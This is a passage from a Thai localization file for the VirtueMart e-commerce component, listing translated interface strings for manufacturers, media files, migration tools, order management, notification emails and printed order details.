            คุณสามารถยกเลิกคำสั่งซื้อนี้ได้ภายใน 2 สัปดาห์ หลังจากทางเราได้รับคำสั่งซื้อของคุณ คุณสามารถส่งคืนรายการสินค้าที่ยังใหม่และยังไม่ได้ถูกเปิดดูหลังจากสินค้าดังกล่าวถูกส่งมาถึงคุณได้. รายการสินค้าดังกล่าวต้องถูกส่งคืนในสภาพการบรรจุหีบห่อเหมือนเดิม สำหรับรายละเอียดเพิ่มเติมเกี่ยวกับการยกเลิกคำสั่งซื้อ และการคืนสินค้า กรุณาดูรายละเอียดเพิ่มเติมที่หน้า นโยบายการคืนสินค้า ." COM_VIRTUEMART_LIST="รายการ" COM_VIRTUEMART_LISTREVIEWS="รายการความคิดเห็น" COM_VIRTUEMART_LIST_ALL_PRODUCTS="แสดงรายการสินค้าทั้งหมด" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="แสดงรายการสินค้าย่อยทั้งหมด %s รายการ" COM_VIRTUEMART_LIST_EMPTY_OPTION="กรุณาเลือก" COM_VIRTUEMART_LIST_LIMIT="จำนวนสินค้ามากสุดต่อมุมมองในส่วนด้านหน้าเว็บ" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="จำนวนการแสดงรายการของแถบแสดงเลขหน้าแบบมาตรฐานที่ต้องการจำกัดให้แสดงในมุมมองด้านหน้าเว็บ" COM_VIRTUEMART_LIST_ORDER="รายการสั่งซื้อ" COM_VIRTUEMART_LOST_PASSWORD="ลืมรหัสผ่าน?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="ระบบแจ้งเตือนเมื่อสินค้าเหลือน้อย" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="มีสินค้าเหลือเพียง {product_in_stock} ชิ้นในสต็อค สำหรับสินค้า {product_name} (SKU {product_sku})" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="สินค้า %s มีจำนวนสินค้าเหลือน้อยถึงจำนวนที่กำหนดไว้แล้ว" COM_VIRTUEMART_LWH_UNIT_DEFAULT="หน่วยการวัด ยาวกว้างสูง ที่กำหนดไว้เริ่มต้น" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="กำหนดหน่วยเริ่มต้นสำหรับร้านค้าของคุณ" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], ได้ยืนยันคำสั่งซื้อที่ %1$s, รวมทั้งหมด %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], คำสั่งซื้อกำลังอยู่ในระหว่างรอการตรวจสอบที่ %1$s, รวมทั้งหมด %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], ได้คืนเงินสำหรับคำสั่งซื้อโดย %1$s, รวมทั้งหมด %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], ได้จัดส่งรายการสั่งซื้อสินค้าจาก %1$s, รวมทั้งหมด %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], คำสั่งซื้อได้ถูกยืนยันโดย %1$s, รวมทั้งหมด %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], ได้ยกเลิกคำสั่งซื้อโดย %1$s, รวมทั้งหมด %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="รายการช่องรับข้อมูลผู้ซื้อ" COM_VIRTUEMART_MANUFACTURER="ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURERCATEGORIES="หมวดหมู่ ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CATEGORY="หมวดหมู่ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="คำอธิบาย หมวดหมู่ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="รายละเอียดหมวดหมู่ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="รายการ" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="ชื่อหมวดหมู่ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="หมวดหมู่ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="ข้อมูลเกี่ยวกับหมวดหมู่" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="หมวดหมู่ผู้ผลิตสินค้าจาก" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="ชื่อหมวดหมู่" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="รายการหมวดหมู่ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="ชื่อหมวดหมู่" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="คำอธิบาย" COM_VIRTUEMART_MANUFACTURER_DETAILS="รายละเอียดผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_EMAIL="อีเมลของผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="เลือกผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="สร้างลิงก์สำหรับแสดงข้อมูลผู้ผลิตสินค้าที่เลือก" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="เลือกผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="สร้างลิงก์ไปยังผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="ข้อมูลผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_IMAGE="รูปภาพผู้ผลิต" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="ผู้ดูแล" COM_VIRTUEMART_MANUFACTURER_MOD="ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_NAME="ชื่อผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_S="ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_SHOW="แสดงชื่อผู้ผลิตสินค้าทั้งหมดในหมวดหมู่นี้" COM_VIRTUEMART_MANUFACTURER_URL="URL ผู้ผลิตสินค้า" COM_VIRTUEMART_MANUFACTURER_URL_TIP="URL ผู้ผลิตสินค้าจะต้องเริ่มต้นด้วย http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="แสดงรายชื่อผู้ผลิตสินค้าใน VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="เค้าโครงเริ่มต้นสำหรับหน้าข้อมูลผู้ผลิตสินค้าใน VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="แสดงเค้าโครงหน้ารายละเอียดผู้ผลิตสินค้าใน VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="เค้าโครงหน้ารายละเอียดผู้ผลิตสินค้าใน VirtueMart" COM_VIRTUEMART_MEDIA="ไฟล์มีเดีย" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="เลือกประเภทของไฟล์มีเดียที่มีชื่อว่า %1$s" COM_VIRTUEMART_MEDIA_MANAGER="ส่วนจัดการไฟล์มีเดีย" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="ไฟล์มีเดียต้องมีการระบุชื่อ" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="ไฟล์มีเดียต้องมีการระบุที่อยู่ URL" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="ไฟล์มีเดียประเภท %1$s ยังไม่มีการกำหนดที่อยู่ URL ที่สัมพันธ์กัน, กรุณา กำหนดค่าก่อนเป็นอันดับแรก แล้วค่อยกลับมาที่ส่วนนี้อีกครั้ง." COM_VIRTUEMART_MEDIA_S="ไฟล์มีเดีย" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="ไฟล์มีเดีย %s ควรต้องมีการระบุประเภทของ mimetype" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="ไฟล์นามสกุล Bmp %s ไม่ใช่ตัวเลือกที่ดีสำหรับการใช้งานบนอินเทอร์เน็ต" COM_VIRTUEMART_MENU="เมนู" COM_VIRTUEMART_MESSAGE_PROMPT="กรอกข้อความของคุณ" COM_VIRTUEMART_METAAUTHOR="ผู้เขียน" COM_VIRTUEMART_METADESC="Meta Description ของสินค้า" COM_VIRTUEMART_METAKEY="Meta Key ของสินค้า" COM_VIRTUEMART_METAROBOT="Meta Robot ของสินค้า" COM_VIRTUEMART_META_AUTHOR="ผู้เขียน" COM_VIRTUEMART_META_DESC="Meta Description" COM_VIRTUEMART_META_INFORMATION="Meta Information" COM_VIRTUEMART_META_KEYWORDS="Meta Keywords" COM_VIRTUEMART_META_ROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="ชื่อหมวดหมู่ของผู้ผลิตสินค้า" COM_VIRTUEMART_MF_NAME="ชื่อผู้ผลิต" COM_VIRTUEMART_MIGRATE="เริ่มดำเนินการโอนถ่ายข้อมูล" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="เค้าโครงหน้าหมวดหมู่เริ่มต้น (หน้าแสดงรายการสินค้า) โดยไม่ต้องใช้ .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY="เค้าโครงหมวดหมู่สินค้าเริ่มต้น (fly page) โดยไม่ต้องใช้ .php" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="เขียนทับหมายเลขคำสั่งซื้อ" COM_VIRTUEMART_MIGRATION_STOREOWNERID="เขียนรหัสเจ้าของร้านค้าใหม่ลงที่นี่" COM_VIRTUEMART_MIGRATION_TAB="การโอนถ่ายข้อมูล" COM_VIRTUEMART_MIGRATION_UPDATE="เครื่องมือ & การโอนถ่ายข้อมูล" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="ใช้รหัสคำสั่งซื้อ vm1 แทนหมายเลขคำสั่งซื้อของ vm2" COM_VIRTUEMART_MINICART_ADDED="เพิ่มเข้ารถเข็นแล้ว" COM_VIRTUEMART_MINICART_DESC="แสดง VirtueMart mini Cart" COM_VIRTUEMART_MINICART_ERROR="เกิดข้อผิดพลาดกับ Mini cart" COM_VIRTUEMART_MODIFIED_ON="วันที่ปรับปรุงข้อมูลสินค้า" COM_VIRTUEMART_MODULES_FORCE_HTTPS="ส่วนของพื้นที่ร้านค้าที่ต้องการใช้ https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="ส่วนนี้เป็นส่วนที่คุณสามารถใช้เครื่องหมายจุลภาค หรือคอมม่าเพื่อคั่นระหว่างรายการโมดูลแกนหลักสำหรับร้านค้า (ดูที่ 'Admin' ='> 'List Modules'), ซึ่งจะเป็นการเชื่อมต่อด้วย https." COM_VIRTUEMART_MODULE_ADDED="โมดูลถูกเพิ่มแล้ว" COM_VIRTUEMART_MODULE_NAME="ชื่อ" COM_VIRTUEMART_MONTH="เดือน" COM_VIRTUEMART_MONTH_S="เดือน" COM_VIRTUEMART_MORE="อื่นๆ ..." COM_VIRTUEMART_MORE_CATEGORIES="หมวดหมู่เพิ่มเติม" COM_VIRTUEMART_MORE_IMAGES="ดูรูปภาพเพิ่มเติม" COM_VIRTUEMART_MOVE_DOWN="เลื่อนลง" COM_VIRTUEMART_MOVE_UP="เลื่อนขึ้น" COM_VIRTUEMART_MULTISELECT="เลือกพร้อมกันหลายรายการ" COM_VIRTUEMART_NAME="ชื่อ" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="ชื่อของช่องรับข้อมูลเกี่ยวกับผู้ใช้มีการใช้ตัวอักษรที่ไม่ถูกต้อง" COM_VIRTUEMART_NEVER="-ไม่ต้องใช้-" COM_VIRTUEMART_NEW_ITEMS_PLACE="ไอเท็มใหม่จะถูกวางไว้ที่ตำแหน่งสุดท้ายเป็นค่าเริ่มต้น, คุณสามารถจัดเรียงไอเท็มนี้ได้ใหม่หลังจากบันทึกข้อมูลแล้ว" COM_VIRTUEMART_NEW_ORDERING_SAVED="บันทึกรายการสั่งซื้อสินค้าใหม่แล้ว" COM_VIRTUEMART_NEW_USER_MESSAGE="สวัสดีค่ะ %s, มีผู้ใช้งานรายใหม่ได้ลงทะเบียนที่ %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="รายละเอียดของผู้ใช้งานรายใหม่" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="ผู้ใช้งานรายหม่ %1$s ได้ลงทะเบียนที่ร้านค้าของคุณ" COM_VIRTUEMART_NEW_VENDOR="สร้างผู้ขายใหม่" COM_VIRTUEMART_NO="ไม่ตกลง" COM_VIRTUEMART_NONE="ไม่มีรายการ" COM_VIRTUEMART_NON_UNIQUE="พบข้อผิดพลาด ไม่สามารถบันทึก %s โดยปราศจาก %s เฉพาะ" COM_VIRTUEMART_NON_UNIQUE_WARN="%s ไม่ใช่ตัวเลขเฉพาะในตาราง %s, เพิ่มตัวเลขสุ่มแล้ว: %s" COM_VIRTUEMART_NOTIFIED="แจ้งเตือนแล้ว" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="ไม่สามารถส่งข้อความถึง " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="ข้อความถูกส่งไปถึง" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="ไม่สามารถบันทึกข้อมูลที่อยู่ของผู้ใช้งาน VirtueMart ได้" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="ไม่สามารถบันทึกข้อมูลผู้ใช้ VirtueMart ได้" COM_VIRTUEMART_NOT_AUTH="คุณไม่ได้รับอนุญาตให้เปิดดูข้อมูลนี้ได้" COM_VIRTUEMART_NO_ACCOUNT="ยังไม่มีบัญชี?" COM_VIRTUEMART_NO_CUSTOMER="คุณยังไม่ได้สมัครลงทะเบียนเป็นผู้ซื้อ, กรุณากรอกข้อมูลเกี่ยวกับที่อยู่สำหรับการออกใบเสร็จของคุณ" COM_VIRTUEMART_NO_DESCRIPTION_FOUND="ไม่พบคำอธิบาย" COM_VIRTUEMART_NO_FILES_FOUND="ไม่พบไฟล์ที่ต้องการ" COM_VIRTUEMART_NO_IMAGE_FOUND="ไม่พบ รูปภาพที่ต้องการ" COM_VIRTUEMART_NO_IMAGE_SET="ยังไม่มีการกำหนดรูปภาพ" COM_VIRTUEMART_NO_ITEMS_SELECTED="ยังไม่ได้เลือกรายการ" COM_VIRTUEMART_NO_MEDIA="ขออภัญ ไฟล์ดังกล่าวไม่ใช่รูปแบบไฟล์ที่ถูกต้อง" COM_VIRTUEMART_NO_MEDIA_FILES="ไม่พบรูปภาพที่ต้องการ" COM_VIRTUEMART_NO_MORE_ORDERS="ไม่มีคำสั่งซื้อเพิ่มเติม" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="ยังไม่มีปลั๊กอินสำหรับการชำระเงินติดตั้งไว้, กรุณาไปที่ http://dev.VirtueMart.net/projects/VirtueMart/files และ download/install เพื่อติดตั้ง com_virtuemart_aio รุ่นล่าสุด" COM_VIRTUEMART_NO_PRICE_SET="ยังไม่ได้กำหนดราคา" COM_VIRTUEMART_NO_RESTRICTION="ไม่มีข้อจำกัด" COM_VIRTUEMART_NO_REVIEWS="ยังไม่มีความคิดเห็นสำหรับสินค้าชิ้นนี้" COM_VIRTUEMART_NO_SEARCH_RESULT="ผลการค้นหาของคุณพบผลลัพธ์ 0 รายการ
            " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="ยังไม่มีปลั๊กอินในการจัดส่งสินค้าติดตั้งไว้, กรุณาไปที่ http://dev.VirtueMart.net/projects/VirtueMart/files และ download/install เพื่อติดตั้ง com_virtuemart_aio ล่าสุด" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="ยังไม่ได้กำหนดไดเร็กทอรี่สำหรับเก็บไฟล์ดาวน์โหลด" COM_VIRTUEMART_OFFLINE_MODE="โหมดออฟไลน์" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="กรุณาสมัครลงทะเบียนเป็นสมาชิกเพื่อรับสิทธิ์ประโยชน์ต่างๆจากการเป็นสมาชิกที่สมัครลงทะเบียน, หรือไม่คุณสามารถเลือกใช้การคิดเงินในรูปแบบของบุคคลนิรนามได้" COM_VIRTUEMART_OPERATION_CANCELED="การดำเนินการถูกยกเลิกแล้ว!!" COM_VIRTUEMART_ORDER="คำสั่งซื้อ" COM_VIRTUEMART_ORDERBY="จัดเรียงตาม" COM_VIRTUEMART_ORDERING="เรียงลำดับ" COM_VIRTUEMART_ORDERS="ใบสั่งซื้อ" COM_VIRTUEMART_ORDERSTATUS="สถานะใบสั่งซื้อ" COM_VIRTUEMART_ORDERSTATUS_DETAILS="รายละเอียด สถานะใบสั่งซื้อ" COM_VIRTUEMART_ORDERSTATUS_S="สถานะ ใบสั่งซื้อ" COM_VIRTUEMART_ORDERS_LIST="รายการคำสั่งซื้อ" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="รายการสั่งซื้อสินค้าใน VirtueMart" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="รายการสั่งซื้อสินค้าใน VirtueMart" COM_VIRTUEMART_ORDER_AMOUNT="ยอดเงิน" COM_VIRTUEMART_ORDER_CDATE="วันที่สั่งซื้อ" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="เปลี่ยนที่อยู่สำหรับออกใบเสร็จ" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="เปลี่ยนที่อยู่สำหรับจัดส่งสินค้า" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="ไม่สามารถลบข้อมูลที่ไม่มีรหัสคำสั่งซื้อได้" COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="คุณแน่ใจแล้วหรือว่าต้องการลบรายการนี้ทิ้งไป" COM_VIRTUEMART_ORDER_EDIT="เปลี่ยนรายละเอียดคำสั่งซื้อ" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="การกระทำ" COM_VIRTUEMART_ORDER_EDIT_ADD="เพิ่มใหม่" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="เลือกสินค้า" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="เลือกรหัส SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="แก้ไขข้อมูลรายการสั่งซื้อ" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="ต้องมีจำนวนมากกว่า 0" COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="แก้ไขรหัสสั่งซื้อ" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="แก้ไขหมายเลขคำสั่งซื้อ" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="สินค้าดังกล่าวถูกเพิ่มเข้าไปยังรายการสั่งซื้อสินค้าแล้ว" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="สินค้าดังกล่าวได้ถูกลบออกจากคำสั่งซื้อนี้แล้ว" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="จำนวนสินค้าถูกอัพเดทแล้ว" COM_VIRTUEMART_ORDER_EDIT_RETURN_PARENTS="กลับไปที่หน้าสินค้าต้นทาง" COM_VIRTUEMART_ORDER_EDIT_SOMETHING_HAS_CHANGED=" ได้ถูกเปลี่ยนแปลงข้อมูล" COM_VIRTUEMART_ORDER_EDIT_USER="แก้ไขชื่อผู้ใช้งาน" COM_VIRTUEMART_ORDER_EXPORT="ส่งออกข้อมูลโมดูล" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME="ส่งออกชื่อคลาสของโมดูล" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME_TIP="(e.g. ps_olsi)" COM_VIRTUEMART_ORDER_EXPORT_CONFIG="การกำหนดค่าเกี่ยวกับการส่งออกข้อมูลคำสั่งซื้อ" COM_VIRTUEMART_ORDER_EXPORT_CONFIG_TIP="ส่วนนี้คือส่วนที่คุณสามารถกำหนดค่าการส่งออกข้อมูลของคุณได้ ต้องเป็นโค้ด PHP ที่ถูกต้อง" COM_VIRTUEMART_ORDER_HISTORY="รายการสั่งซื้อย้อนหลัง" COM_VIRTUEMART_ORDER_HISTORY_COMMENT="ความคิดเห็น" COM_VIRTUEMART_ORDER_HISTORY_COMMENT_EMAIL="ความคิดเห็นในรายการสั่งซื้อสินค้าของคุณ : " COM_VIRTUEMART_ORDER_HISTORY_CUSTOMER_NOTIFIED="แจ้งเตือนผู้ซื้อ?" COM_VIRTUEMART_ORDER_HISTORY_DATE_ADDED="วันที่เพิ่ม" COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT="รวมความคิดเห็นนี้ด้วย?" COM_VIRTUEMART_ORDER_ID="รหัสคำสั่งซื้อ" COM_VIRTUEMART_ORDER_ITEM="รายการสั่งซื้อ" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="ป้ายชื่อ ยังไม่ได้ถูกสร้างขึ้น" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="ไม่พบข้อมูลบันทึกรายการคำสั่งซื้้อในฐานข้อมูลชื่อการจัดส่งสินค้า" COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="กรุณากรอกรหัสสั่งซื้อ, ตัวเลข, ที่ถูกต้อง ไม่ใช่ '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="วิธีการจัดส่ง" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="ยังไม่มีการดึงข้อมูลลายเซ็นต์" COM_VIRTUEMART_ORDER_LINK="คลิกที่ลิงก์นี้เพื่อดูรายละเอียดการสั่งซื้อสินค้า" COM_VIRTUEMART_ORDER_LIST_ID="รหัสคำสั่งซื้อ" COM_VIRTUEMART_ORDER_LIST_LBL="รายการสั่งซื้อ" COM_VIRTUEMART_ORDER_LIST_MDATE="แก้ไขล่าสุด" COM_VIRTUEMART_ORDER_LIST_NOTIFY="แจ้งเตือนผู้ซื้อ?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="กรุณาเปลี่ยนสถานะของการสั่งซื้อก่อน!" COM_VIRTUEMART_ORDER_LIST_NUMBER="หมายเลขคำสั่งซื้อ" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="สั่งพิมพ์" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="ค้นหาตามวันที่" COM_VIRTUEMART_ORDER_LIST_STATUS="สถานะ" COM_VIRTUEMART_ORDER_LIST_TRACK="ตรวจสอบรายการ" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="ติดป้ายฉลาก" COM_VIRTUEMART_ORDER_MOD="คำสั่งซื้อ & ผู้ซื้อ" COM_VIRTUEMART_ORDER_NOTFOUND="ไม่พบคำสั่งซื้อที่ต้องการ คำสั่งซื้อดังกล่าวอาจถูกลบทิ้งไปแล้ว" COM_VIRTUEMART_ORDER_NOT_UPDATED="ไม่ต้องเปลี่ยนแปลงค่า, กรุณาเปลี่ยนสถานะของคำสั่งซื้อเพื่ออัพเดทข้อมูล" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="%1$s คำสั่งซื้อ จาก %2$s ได้รับการแจ้งว่าพบข้อผิดพลาด" COM_VIRTUEMART_ORDER_NUMBER="หมายเลขคำสั่งซื้อ" COM_VIRTUEMART_ORDER_PAYMENT_CCV_CODE="รหัส CVV" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NAME="ชื่อบัญชี" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NUMBER="หมายเลขบัญชี" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_1="ที่อยู่ 1" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_2="ที่อยู่ 2" COM_VIRTUEMART_ORDER_PRINT_BILL_TO_LBL="Bill To" COM_VIRTUEMART_ORDER_PRINT_CITY="เมือง" COM_VIRTUEMART_ORDER_PRINT_COMPANY="บริษัท" COM_VIRTUEMART_ORDER_PRINT_COUNTRY="ประเทศ" COM_VIRTUEMART_ORDER_PRINT_CUSTOMER_NOTE="หมายเหตุจากผู้ซื้อ" COM_VIRTUEMART_ORDER_PRINT_CUST_BILLING_LBL="ที่อยู่สำหรับออกใบเสร็จ" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="ข้อมูลเกี่ยวกับผู้ซื้อ" COM_VIRTUEMART_ORDER_PRINT_CUST_SHIPPING_LBL="ข้อมูลเกี่ยวกับการจัดส่งสินค้า" COM_VIRTUEMART_ORDER_PRINT_EMAIL="อีเมล" COM_VIRTUEMART_ORDER_PRINT_EXPIRE_DATE="วันที่หมดอายุ" COM_VIRTUEMART_ORDER_PRINT_FAX="โทรสาร" COM_VIRTUEMART_ORDER_PRINT_ITEMEDIT_LBL="แก้ไขรายการสินค้าในคำสั่งซื้อ" COM_VIRTUEMART_ORDER_PRINT_ITEM_STATUS="สถานะของสินค้าที่มีการสั่งซื้อ" COM_VIRTUEMART_ORDER_PRINT_NAME="ชื่อ" COM_VIRTUEMART_ORDER_PRINT_PAYMENT="ค่าธรรมเนียมในการชำระเงิน" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL="วิธีการชำระเงิน" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_TAX="ภาษีการชำระเงิน" COM_VIRTUEMART_ORDER_PRINT_PHONE="โทรศัพท์" COM_VIRTUEMART_ORDER_PRINT_PO_DATE="วันที่สั่งซื้อ" COM_VIRTUEMART_ORDER_PRINT_PO_ID="รหัสคำสั่งซื้อ" COM_VIRTUEMART_ORDER_PRINT_PO_IPADDRESS="เลขไอพีเครื่อง" COM_VIRTUEMART_ORDER_PRINT_PO_LBL="ข้อมูลการสั่งซื้อสินค้า" COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER="หมายเลขคำสั่งซื้อ" COM_VIRTUEMART_ORDER_PRINT_PO_PASS="รหัสลับ" COM_VIRTUEMART_ORDER_PRINT_PO_STATUS="สถานะใบสั่งซื้อ" COM_VIRTUEMART_ORDER_PRINT_PRICE="ราคา" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_STATUS="สถานะสินค้า" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX="ภาษี" COM_VIRTUEMART_ORDER_PRINT_QTY="จำนวน" COM_VIRTUEMART_ORDER_PRINT_QUANTITY="จำนวน" COM_VIRTUEMART_ORDER_PRINT_SHIPMENT_LBL="ชื่อผู้จัดส่ง" COM_VIRTUEMART_ORDER_PRINT_SHIPPING="ค่าธรรมเนียมการจัดส่ง" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_MODE_LBL="รูปแบบการจัดส่งสินค้า" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_PRICE_LBL="ราคาค่าจัดส่งสินค้า" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_TAX="ภาษีค่าจัดส่ง" COM_VIRTUEMART_ORDER_PRINT_SHIP_TO_LBL="จัดส่งไปที่" COM_VIRTUEMART_ORDER_PRINT_SKU="รหัส SKU" COM_VIRTUEMART_ORDER_PRINT_STATE="รัฐ/จังหวัด/ภูมิภาค" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL="ยอดรวม" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL_DISCOUNT_AMOUNT="ส่วนลด" COM_VIRTUEMART_ORDER_PRINT_TAX="ภาษี" COM_VIRTUEMART_ORDER_PRINT_TOTAL="รวมทั้งหมด" COM_VIRTUEMART_ORDER_PRINT_TOTAL_PAYMENT="จำนวนเงินรวมในสกุลเงินที่ใช้ชำระเงิน" COM_VIRTUEMART_ORDER_PRINT_TOTAL_TAX="รวมภาษีทั้งหมด" COM_VIRTUEMART_ORDER_PRINT_ZIP="รหัสไปรษณีย์" COM_VIRTUEMART_ORDER_S="รายการ" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="ยกเลิก" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="สถานะของคำสั่งซื้อของคุณหมายเลข %s ได้เปลี่ยนแปลงไปแล้ว" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="สถานะใหม่คือ : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="หากต้องการดูรายละเอียดรายการสั่งซื้อสินค้า, กรุณาคลิกที่ลิงก์ต่อไปนี้ (หรือคัดลอกลิงก์ดังกล่าวแล้วนำไปวางไว้บนโปรแกรมบราวเซอร์ของคุณ)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="สถานะคำสั่งซื้อมีการเปลี่ยนแปลง" COM_VIRTUEMART_ORDER_STATUS_CODE="รหัสสถานะคำสั่งซื้อ" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="รหัสสถานะคำสั่งซื้อที่ใช้กับ VirtueMart ไม่สามารถลบทิ้งได้" COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="รหัสสถานะคำสั่งซื้อดังกล่าวนี้มีอยู่แล้ว กรุณาเลือกเลือกรหัสใหม่" COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="รหัสสถานะคำสั่งซื้อมีตัวอักษรเพียงตัวเดียว" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED="ยืนยัน" COM_VIRTUEMART_ORDER_STATUS_NAME="ชื่อสถานะคำสั่งซื้อ" 